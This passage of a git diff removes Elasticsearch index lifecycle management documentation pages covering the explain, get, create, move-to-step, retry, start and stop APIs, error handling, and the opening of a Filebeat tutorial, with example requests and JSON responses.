-information for the step that's being performed on the index.
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices": {
-    "test-000020": {
-      "index": "test-000020",
-      "managed": true,
-      "policy": "my_lifecycle3",
-      "lifecycle_date_millis": 1538475653281,
-      "lifecycle_date": "2018-10-15T13:45:21.981Z",
-      "age": "4.12m",
-      "phase": "warm",
-      "phase_time_millis": 1538475653317,
-      "phase_time": "2018-10-15T13:45:22.577Z",
-      "action": "allocate",
-      "action_time_millis": 1538475653317,
-      "action_time": "2018-10-15T13:45:22.577Z",
-      "step": "check-allocation",
-      "step_time_millis": 1538475653317,
-      "step_time": "2018-10-15T13:45:22.577Z",
-      "step_info": { <1>
-        "message": "Waiting for all shard copies to be active",
-        "shards_left_to_allocate": -1,
-        "all_shards_active": false,
-        "number_of_replicas": 2
-      },
-      "phase_execution": {
-        "policy": "my_lifecycle3",
-        "phase_definition": {
-          "min_age": "0ms",
-          "actions": {
-            "allocate": {
-              "number_of_replicas": 2,
-              "include": {
-                "box_type": "warm"
-              },
-              "exclude": {},
-              "require": {}
-            },
-            "forcemerge": {
-              "max_num_segments": 1
-            }
-          }
-        },
-        "version": 2,
-        "modified_date": "2018-10-15T13:20:02.489Z",
-        "modified_date_in_millis": 1539609602489
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:not possible to get the cluster into this state in a docs test]
-
-<1> Status of the step that's in progress.
-
-If the index is in the ERROR step, something went wrong while executing a
-step in the policy and you will need to take action for the index to proceed
-to the next step. Some steps are safe to automatically be retried in certain
-circumstances. To help you diagnose the problem, the explain response shows
-the step that failed, the step info which provides information about the error,
-and information about the retry attempts executed for the failed step if it's
-the case.
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices": {
-    "test-000056": {
-      "index": "test-000056",
-      "managed": true,
-      "policy": "my_lifecycle3",
-      "lifecycle_date_millis": 1538475653281,
-      "lifecycle_date": "2018-10-15T13:45:21.981Z",
-      "age": "50.1d",
-      "phase": "hot",
-      "phase_time_millis": 1538475653317,
-      "phase_time": "2018-10-15T13:45:22.577Z",
-      "action": "rollover",
-      "action_time_millis": 1538475653317,
-      "action_time": "2018-10-15T13:45:22.577Z",
-      "step": "ERROR",
-      "step_time_millis": 1538475653317,
-      "step_time": "2018-10-15T13:45:22.577Z",
-      "failed_step": "check-rollover-ready", <1>
-      "is_auto_retryable_error": true, <2>
-      "failed_step_retry_count": 1, <3>
-      "step_info": { <4>
-        "type": "cluster_block_exception",
-        "reason": "index [test-000057/H7lF9n36Rzqa-KfKcnGQMg] blocked by: [FORBIDDEN/5/index read-only (api)",
-        "index_uuid": "H7lF9n36Rzqa-KfKcnGQMg",
-        "index": "test-000057"
-      },
-      "phase_execution": {
-        "policy": "my_lifecycle3",
-        "phase_definition": {
-          "min_age": "0ms",
-          "actions": {
-            "rollover": {
-              "max_age": "30s"
-            }
-          }
-        },
-        "version": 3,
-        "modified_date": "2018-10-15T13:21:41.576Z",
-        "modified_date_in_millis": 1539609701576
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:not possible to get the cluster into this state in a docs test]
-
-<1> The step that caused the error
-<2> Indicates if retrying the failed step can overcome the error. If this
-is true, {ilm-init} will retry the failed step automatically.
-<3> Shows the number of attempted automatic retries to execute the failed
-step.
-<4> What went wrong
diff --git a/docs/reference/ilm/apis/get-lifecycle.asciidoc b/docs/reference/ilm/apis/get-lifecycle.asciidoc
deleted file mode 100644
index 005dad56fc5..00000000000
--- a/docs/reference/ilm/apis/get-lifecycle.asciidoc
+++ /dev/null
@@ -1,117 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-get-lifecycle]]
-=== Get lifecycle policy API
-++++
-<titleabbrev>Get policy</titleabbrev>
-++++
-
-Retrieves a lifecycle policy.
-
-[[ilm-get-lifecycle-request]]
-==== {api-request-title}
-
-`GET _ilm/policy`
-
-`GET _ilm/policy/<policy_id>`
-
-[[ilm-get-lifecycle-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm` or
-`read_ilm` or both cluster privileges to use this API. For more information, see
-<<security-privileges>>.
-
-[[ilm-get-lifecycle-desc]]
-==== {api-description-title}
-
-Returns the specified policy definition. Includes the policy version and last
-modified date. If no policy is specified, returns all defined policies.
-
-[[ilm-get-lifecycle-path-params]]
-==== {api-path-parms-title}
-
-`<policy_id>`::
-  (Optional, string) Identifier for the policy.
-
-[[ilm-get-lifecycle-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-get-lifecycle-example]]
-==== {api-examples-title}
-
-The following example retrieves `my_policy`:
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET _ilm/policy/my_policy
---------------------------------------------------
-// TEST[continued]
-
-
-If the request succeeds, the body of the response contains the policy definition:
-
-[source,console-result]
---------------------------------------------------
-{
-  "my_policy": {
-    "version": 1, <1>
-    "modified_date": 82392349, <2>
-    "policy": {
-      "phases": {
-        "warm": {
-          "min_age": "10d",
-          "actions": {
-            "forcemerge": {
-              "max_num_segments": 1
-            }
-          }
-        },
-        "delete": {
-          "min_age": "30d",
-          "actions": {
-            "delete": {
-              "delete_searchable_snapshot": true
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"modified_date": 82392349/"modified_date": $body.my_policy.modified_date/]
-
-<1> The policy version is incremented whenever the policy is updated
-<2> When this policy was last modified
diff --git a/docs/reference/ilm/apis/get-status.asciidoc b/docs/reference/ilm/apis/get-status.asciidoc
deleted file mode 100644
index ac3d1b06610..00000000000
--- a/docs/reference/ilm/apis/get-status.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-get-status]]
-=== Get {ilm} status API
-
-[subs="attributes"]
-++++
-<titleabbrev>Get {ilm} status</titleabbrev>
-++++
-
-Retrieves the current {ilm} ({ilm-init}) status.
-
-[[ilm-get-status-request]]
-==== {api-request-title}
-
-`GET /_ilm/status`
-
-[[ilm-get-status-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm` or
-`read_ilm` or both cluster privileges to use this API. For more information, see
-<<security-privileges>>.
-
-[[ilm-get-status-desc]]
-==== {api-description-title}
-
-[[ilm-operating-modes]]
-Returns the status of the {ilm-init} plugin. 
-The `operation_mode` in the response shows one of three states: `STARTED`, `STOPPING`, or `STOPPED`. 
-You can start or stop {ilm-init} with the
-<<ilm-start,start {ilm-init}>> and <<ilm-stop,stop {ilm-init}>> APIs.
-
-[[ilm-get-status-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-get-status-example]]
-==== {api-examples-title}
-
-The following example gets the {ilm-init} plugin status.
-
-[source,console]
---------------------------------------------------
-GET _ilm/status
---------------------------------------------------
-
-If the request succeeds, the body of the response shows the operation mode:
-
-[source,console-result]
---------------------------------------------------
-{
-  "operation_mode": "RUNNING"
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/apis/ilm-api.asciidoc b/docs/reference/ilm/apis/ilm-api.asciidoc
deleted file mode 100644
index 97a00e2c3fa..00000000000
--- a/docs/reference/ilm/apis/ilm-api.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[[index-lifecycle-management-api]]
-== {ilm-cap} APIs
-
-You use the following APIs to set up policies to automatically manage the index lifecycle. 
-For more information about {ilm} ({ilm-init}), see <<index-lifecycle-management>>.
-
-[discrete]
-[[ilm-api-policy-endpoint]]
-=== Policy management APIs
-
-* <<ilm-put-lifecycle,Create lifecycle policy>>
-* <<ilm-get-lifecycle,Get lifecycle policy>>
-* <<ilm-delete-lifecycle,Delete lifecycle policy>>
-
-[discrete]
-[[ilm-api-index-endpoint]]
-=== Index management APIs
-
-* <<ilm-move-to-step,Move index to step>>
-* <<ilm-retry-policy,Retry policy on indices>>
-* <<ilm-remove-policy,Remove policy from index>>
-
-[discrete]
-[[ilm-api-management-endpoint]]
-=== Operation management APIs
-
-* <<ilm-get-status,Get {ilm-init} operation mode>>
-* <<ilm-start,Start {ilm-init}>>
-* <<ilm-stop,Stop {ilm-init}>>
-* <<ilm-explain-lifecycle,Explain API>>
-
-
-include::put-lifecycle.asciidoc[]
-include::get-lifecycle.asciidoc[]
-include::delete-lifecycle.asciidoc[]
-
-include::move-to-step.asciidoc[]
-include::remove-policy-from-index.asciidoc[]
-include::retry-policy.asciidoc[]
-
-include::get-status.asciidoc[]
-include::explain.asciidoc[]
-include::start.asciidoc[]
-include::stop.asciidoc[]
diff --git a/docs/reference/ilm/apis/move-to-step.asciidoc b/docs/reference/ilm/apis/move-to-step.asciidoc
deleted file mode 100644
index 575a405b697..00000000000
--- a/docs/reference/ilm/apis/move-to-step.asciidoc
+++ /dev/null
@@ -1,174 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-move-to-step]]
-=== Move to lifecycle step API
-++++
-<titleabbrev>Move to step</titleabbrev>
-++++
-
-Triggers execution of a specific step in the lifecycle policy.
-
-[[ilm-move-to-step-request]]
-==== {api-request-title}
-
-`POST _ilm/move/<index>`
-
-[[ilm-move-to-step-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm`
-privileges on the indices being managed to use this API. For more information,
-see <<security-privileges>>.
-
-[[ilm-move-to-step-desc]]
-==== {api-description-title}
-
-WARNING: This operation can result in the loss of data. Manually moving an index
-into a specific step executes that step even if it has already been performed.
-This is a potentially destructive action and this should be considered an expert
-level API.
-
-Manually moves an index into the specified step and executes that step.
-You must specify both the current step and the step to be executed in the
-body of the request.
-
-The request will fail if the current step does not match the step currently
-being executed for the index. This is to prevent the index from being moved from
-an unexpected step into the next step.
-
-[[ilm-move-to-step-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-  (Required, string) Identifier for the index.
-
-[[ilm-move-to-step-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[role="child_attributes"]
-[[ilm-move-to-step-request-body]]
-==== {api-request-body-title}
-
-`current_step`::
-(Required, object)
-+
-.Properties of `current_step`
-[%collapsible%open]
-====
-`phase`::
-(Required, string)
-The name of the current phase.
-Must match the phase as returned by the <<ilm-explain-lifecycle, explain>> API.
-
-`action`::
-(Required, string)
-The name of the current action. 
-Must match the action as returned by the <<ilm-explain-lifecycle, explain>> API.
-
-`name`::
-(Required, string)
-The name of the current step. 
-Must match the step as returned by the <<ilm-explain-lifecycle, explain>> API.
-If {ilm-init} encounters a problem while performing an action, 
-it halts execution of the policy and transitions to the `ERROR` step.
-If you are trying to advance a policy after troubleshooting a failure, 
-you specify this `ERROR` step as the current step. 
-For more information, see <<index-lifecycle-error-handling, {ilm-init} error handling>>.
-
-====
-
-`next_step`::
-(Required, object)
-+
-.Properties of `next_step`
-[%collapsible%open]
-====
-`phase`::
-(Required, string)
-The name of the phase that contains the action you want to perform or resume.
-
-`action`::
-(Required, string)
-The name action you want to perform or resume. 
-
-`name`::
-(Required, string)
-The name of the step to move to and execute. 
-
-====
-
-[[ilm-move-to-step-example]]
-==== {api-examples-title}
-
-The following example moves `my-index-000001` from the initial step to the
-`forcemerge` step:
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001
-{
-  "settings": {
-    "index.lifecycle.name": "my_policy"
-  }
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST _ilm/move/my-index-000001
-{
-  "current_step": { <1>
-    "phase": "new",
-    "action": "complete",
-    "name": "complete"
-  },
-  "next_step": { <2>
-    "phase": "warm",
-    "action": "forcemerge",
-    "name": "forcemerge"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-<1> The step that the index is expected to be in
-<2> The step that you want to execute
-
-If the request succeeds, you receive the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true
-}
---------------------------------------------------
-
-The request will fail if the index is not in the `new` phase as specified
-by the `current_step`.
diff --git a/docs/reference/ilm/apis/put-lifecycle.asciidoc b/docs/reference/ilm/apis/put-lifecycle.asciidoc
deleted file mode 100644
index f5361820437..00000000000
--- a/docs/reference/ilm/apis/put-lifecycle.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-put-lifecycle]]
-=== Create lifecycle policy API
-++++
-<titleabbrev>Create policy</titleabbrev>
-++++
-
-Creates or updates lifecycle policy. See <<ilm-policy-definition>> for
-definitions of policy components.
-
-[[ilm-put-lifecycle-request]]
-==== {api-request-title}
-
-`PUT _ilm/policy/<policy_id>`
-
-[[ilm-put-lifecycle-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm`
-cluster privilege to use this API. You must also have the `manage` index
-privilege on all indices being managed by `policy`. {ilm-init} performs
-operations as the user who last updated the policy. {ilm-init} only has the
-<<defining-roles,roles>> assigned to the user at the time of the last policy
-update.
-
-[[ilm-put-lifecycle-desc]]
-==== {api-description-title}
-
-Creates a lifecycle policy. If the specified policy exists, the policy is
-replaced and the policy version is incremented.
-
-NOTE: Only the latest version of the policy is stored, you cannot revert to
-previous versions.
-
-[[ilm-put-lifecycle-path-params]]
-==== {api-path-parms-title}
-
-`<policy_id>`::
-  (Required, string) Identifier for the policy.
-
-[[ilm-put-lifecycle-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-put-lifecycle-example]]
-==== {api-examples-title}
-
-The following example creates a new policy named `my_policy`:
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-If the request succeeds, you receive the following result:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
diff --git a/docs/reference/ilm/apis/remove-policy-from-index.asciidoc b/docs/reference/ilm/apis/remove-policy-from-index.asciidoc
deleted file mode 100644
index 1826dc1e6f5..00000000000
--- a/docs/reference/ilm/apis/remove-policy-from-index.asciidoc
+++ /dev/null
@@ -1,103 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-remove-policy]]
-=== Remove policy from index API
-++++
-<titleabbrev>Remove policy</titleabbrev>
-++++
-
-Removes assigned lifecycle policies from an index or a data stream's backing
-indices.
-
-[[ilm-remove-policy-request]]
-==== {api-request-title}
-
-`POST <target>/_ilm/remove`
-
-[[ilm-remove-policy-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm`
-privileges on the indices being managed to use this API. For more information,
-see <<security-privileges>>.
-
-[[ilm-remove-policy-desc]]
-==== {api-description-title}
-
-For indices, the remove lifecycle policy API removes the assigned lifecycle
-policy and stops managing the specified index.
-
-For data streams, the API removes any assigned lifecycle policies from 
-the stream's backing indices and stops managing the indices.
-
-[[ilm-remove-policy-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Required, string)
-Comma-separated list of data streams, indices, and index aliases to target.
-Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, use `_all` or `*`.
-
-[[ilm-remove-policy-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-remove-policy-example]]
-==== {api-examples-title}
-
-The following example removes the assigned policy from `my-index-000001`.
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001
-{
-  "settings": {
-    "index.lifecycle.name": "my_policy"
-  }
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_ilm/remove
---------------------------------------------------
-// TEST[continued]
-
-If the request succeeds, you receive the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "has_failures" : false,
-  "failed_indexes" : []
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/apis/retry-policy.asciidoc b/docs/reference/ilm/apis/retry-policy.asciidoc
deleted file mode 100644
index a8d057ba114..00000000000
--- a/docs/reference/ilm/apis/retry-policy.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-retry-policy]]
-=== Retry policy execution API
-++++
-<titleabbrev>Retry policy</titleabbrev>
-++++
-
-Retry executing the policy for an index that is in the ERROR step.
-
-[[ilm-retry-policy-request]]
-==== {api-request-title}
-
-`POST <index>/_ilm/retry`
-
-[[ilm-retry-policy-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm`
-privileges on the indices being managed to use this API. For more information,
-see <<security-privileges>>.
-
-[[ilm-retry-policy-desc]]
-==== {api-description-title}
-
-Sets the policy back to the step where the error occurred and executes the step.
-Use the <<ilm-explain-lifecycle, {ilm-init} Explain API>> to determine if an index is in the ERROR
-step.
-
-[[ilm-retry-policy-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-  (Required, string) Identifier for the indices to retry in comma-separated format.
-
-[[ilm-retry-policy-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-retry-policy-example]]
-==== {api-examples-title}
-
-The following example retries the policy for `my-index-000001`.
-
-[source,js]
---------------------------------------------------
-POST my-index-000001/_ilm/retry
---------------------------------------------------
-// NOTCONSOLE
-
-If the request succeeds, you receive the following result:
-
-[source,js]
---------------------------------------------------
-{
-  "acknowledged": true
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ilm/apis/start.asciidoc b/docs/reference/ilm/apis/start.asciidoc
deleted file mode 100644
index 5c79839a415..00000000000
--- a/docs/reference/ilm/apis/start.asciidoc
+++ /dev/null
@@ -1,88 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-start]]
-=== Start {ilm} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Start {ilm}</titleabbrev>
-++++
-
-Start the {ilm} ({ilm-init}) plugin.
-
-[[ilm-start-request]]
-==== {api-request-title}
-
-`POST /_ilm/start`
-
-[[ilm-start-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[ilm-start-desc]]
-==== {api-description-title}
-
-Starts the {ilm-init} plugin if it is currently stopped. {ilm-init} is started
-automatically when the cluster is formed. Restarting {ilm-init} is only
-necessary if it has been stopped using the <<ilm-stop, Stop {ilm-init} API>>.
-
-[[ilm-start-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-start-example]]
-==== {api-examples-title}
-
-The following example starts the {ilm-init} plugin.
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001
-
-POST _ilm/stop
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST _ilm/start
---------------------------------------------------
-// TEST[continued]
-
-If the request succeeds, you receive the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true
-}
---------------------------------------------------
diff --git a/docs/reference/ilm/apis/stop.asciidoc b/docs/reference/ilm/apis/stop.asciidoc
deleted file mode 100644
index 5eb886437f6..00000000000
--- a/docs/reference/ilm/apis/stop.asciidoc
+++ /dev/null
@@ -1,102 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-stop]]
-=== Stop {ilm} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Stop {ilm}</titleabbrev>
-++++
-
-Stop the {ilm} ({ilm-init}) plugin.
-
-[[ilm-stop-request]]
-==== {api-request-title}
-
-`POST /_ilm/stop`
-
-[[ilm-stop-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage_ilm`
-cluster privilege to use this API. For more information, see
-<<security-privileges>>.
-
-[[ilm-stop-desc]]
-==== {api-description-title}
-
-Halts all lifecycle management operations and stops the {ilm-init} plugin. This
-is useful when you are performing maintenance on the cluster and need to prevent
-{ilm-init} from performing any actions on your indices.
-
-The API returns as soon as the stop request has been acknowledged, but the
-plugin might continue to run until in-progress operations complete and the plugin
-can be safely stopped. Use the  <<ilm-get-status, Get {ilm-init} Status>> API to see
-if {ilm-init} is running.
-
-[[ilm-stop-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[ilm-stop-example]]
-==== {api-examples-title}
-
-The following example stops the {ilm-init} plugin.
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "10d",
-        "actions": {
-          "forcemerge": {
-            "max_num_segments": 1
-          }
-        }
-      },
-      "delete": {
-        "min_age": "30d",
-        "actions": {
-          "delete": {}
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001
---------------------------------------------------
-// TEST
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST _ilm/stop
---------------------------------------------------
-// TEST[continued]
-
-If the request does not encounter errors, you receive the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST _ilm/start
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
diff --git a/docs/reference/ilm/error-handling.asciidoc b/docs/reference/ilm/error-handling.asciidoc
deleted file mode 100644
index 500ac99ec12..00000000000
--- a/docs/reference/ilm/error-handling.asciidoc
+++ /dev/null
@@ -1,149 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[index-lifecycle-error-handling]]
-== Resolve lifecycle policy execution errors
-
-When {ilm-init} executes a lifecycle policy, it's possible for errors to occur
-while performing the necessary index operations for a step. 
-When this happens, {ilm-init} moves the index to an `ERROR` step. 
-If {ilm-init} cannot resolve the error automatically, execution is halted  
-until you resolve the underlying issues with the policy, index, or cluster.
-
-For example, you might have a `shrink-index` policy that shrinks an index to four shards once it
-is at least five days old: 
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/shrink-index
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "5d",
-        "actions": {
-          "shrink": {
-            "number_of_shards": 4
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST
-
-There is nothing that prevents you from applying the `shrink-index` policy to a new
-index that has only two shards:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "index.number_of_shards": 2,
-    "index.lifecycle.name": "shrink-index"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-After five days, {ilm-init} attempts to shrink `my-index-000001` from two shards to four shards.
-Because the shrink action cannot _increase_ the number of shards, this operation fails 
-and {ilm-init} moves `my-index-000001` to the `ERROR` step. 
-
-You can use the <<ilm-explain-lifecycle,{ilm-init} Explain API>> to get information about
-what went wrong: 
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_ilm/explain
---------------------------------------------------
-// TEST[continued]
-
-Which returns the following information:
-
-[source,console-result]
---------------------------------------------------
-{
-  "indices" : {
-    "my-index-000001" : {
-      "index" : "my-index-000001",
-      "managed" : true,                         
-      "policy" : "shrink-index",                <1>
-      "lifecycle_date_millis" : 1541717265865,
-      "age": "5.1d",                            <2>
-      "phase" : "warm",                         <3>
-      "phase_time_millis" : 1541717272601,
-      "action" : "shrink",                      <4>
-      "action_time_millis" : 1541717272601,
-      "step" : "ERROR",                         <5>
-      "step_time_millis" : 1541717272688,
-      "failed_step" : "shrink",                 <6>
-      "step_info" : {
-        "type" : "illegal_argument_exception",  <7>
-        "reason" : "the number of target shards [4] must be less that the number of source shards [2]"
-      },
-      "phase_execution" : {
-        "policy" : "shrink-index",
-        "phase_definition" : {                  <8>
-          "min_age" : "5d",
-          "actions" : {
-            "shrink" : {
-              "number_of_shards" : 4
-            }
-          }
-        },
-        "version" : 1,
-        "modified_date_in_millis" : 1541717264230
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:no way to know if we will get this response immediately]
-
-<1> The policy being used to manage the index: `shrink-index`
-<2> The index age: 5.1 days
-<3> The phase the index is currently in: `warm`
-<4> The current action: `shrink`
-<5> The step the index is currently in: `ERROR`
-<6> The step that failed to execute: `shrink`
-<7> The type of error and a description of that error.
-<8> The definition of the current phase from the `shrink-index` policy
-
-To resolve this, you could update the policy to shrink the index to a single shard after 5 days:
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/shrink-index
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "min_age": "5d",
-        "actions": {
-          "shrink": {
-            "number_of_shards": 1
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[discrete]
-=== Retrying failed lifecycle policy steps
-
-Once you fix the problem that put an index in the `ERROR` step, 
-you might need to explicitly tell {ilm-init} to retry the step:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_ilm/retry
---------------------------------------------------
-// TEST[skip:we can't be sure the index is ready to be retried at this point]
-
-{ilm-init} subsequently attempts to re-run the step that failed. 
-You can use the <<ilm-explain-lifecycle,{ilm-init} Explain API>> to monitor the progress.
diff --git a/docs/reference/ilm/example-index-lifecycle-policy.asciidoc b/docs/reference/ilm/example-index-lifecycle-policy.asciidoc
deleted file mode 100644
index 9b819e64e1f..00000000000
--- a/docs/reference/ilm/example-index-lifecycle-policy.asciidoc
+++ /dev/null
@@ -1,165 +0,0 @@
-[role="xpack"]
-
-[[example-using-index-lifecycle-policy]]
-=== Tutorial: Manage {filebeat} time-based indices
-++++
-<titleabbrev>Manage {filebeat} time-based indices</titleabbrev>
-++++
-
-With {ilm} ({ilm-init}), you can create policies that perform actions automatically 
-on indices as they age and grow. {ilm-init} policies help you to manage
-performance, resilience, and retention of your data during its lifecycle. This tutorial shows
-you how to use {kib}’s *Index Lifecycle Policies* to modify and create {ilm-init}
-policies. You can learn more about all of the actions, benefits, and lifecycle
-phases in the <<overview-index-lifecycle-management, {ilm-init} overview>>.
-
-
-[discrete]
-[[example-using-index-lifecycle-policy-scenario]]
-==== Scenario
-
-You’re tasked with sending syslog files to an {es} cluster. This
-log data has the following data retention guidelines:
-
-* Keep logs on hot data nodes for 30 days
-* Roll over to a new index if the size reaches 50GB
-* After 30 days:
-** Move the logs to warm data nodes
-** Set <<glossary-replica-shard, replica shards>> to 1
-** <<indices-forcemerge, Force merge>> multiple index segments to free up the space used by deleted documents
-* Delete logs after 90 days
-
-
-[discrete]
-[[example-using-index-lifecycle-policy-prerequisites]]
-==== Prerequisites
-
-To complete this tutorial, you'll need:
-
-* An {es} cluster with hot and warm nodes configured for shard allocation
-awareness. 
-
-** {ess}: 
-Choose the Elastic Stack and then the {cloud}/ec-getting-started-profiles.html#ec-getting-started-profiles-hot-warm[hot-warm architecture] hardware profile.
-
-** Self-managed cluster: 
-Add node attributes as described for {ref}/shard-allocation-filtering.html[shard allocation filtering].
-+
-For example, you can set this in your `elasticsearch.yml` for each data node:
-+
-[source,yaml]
---------------------------------------------------------------------------------
-node.attr.data: "warm"
---------------------------------------------------------------------------------
-
-* A server with {filebeat} installed and configured to send logs to the `elasticsearch`
-output as described in the {filebeat-ref}/filebeat-installation-configuration.html[{filebeat} quick start].
-
-[discrete]
-[[example-using-index-lifecycle-policy-view-fb-ilm-policy]]
-==== View the {filebeat} {ilm-init} policy
-
-{filebeat} includes a default {ilm-init} policy that enables rollover. {ilm-init}
-is enabled automatically if you’re using the default `filebeat.yml` and index template.
-
-To view the default policy in {kib}:
-
-. Go to Management and select *Index Lifecycle Policies*.
-. Search for _filebeat_
-. Select the _filebeat-version_ policy.
-
-This policy initiates the rollover action when the index size reaches 50GB or
-becomes 30 days old.
-
-[role="screenshot"]
-image::images/ilm/tutorial-ilm-hotphaserollover-default.png["Default policy"]
-
-
-[discrete]
-==== Modify the policy
-
-The default policy is enough to prevent the creation of many tiny daily indices.
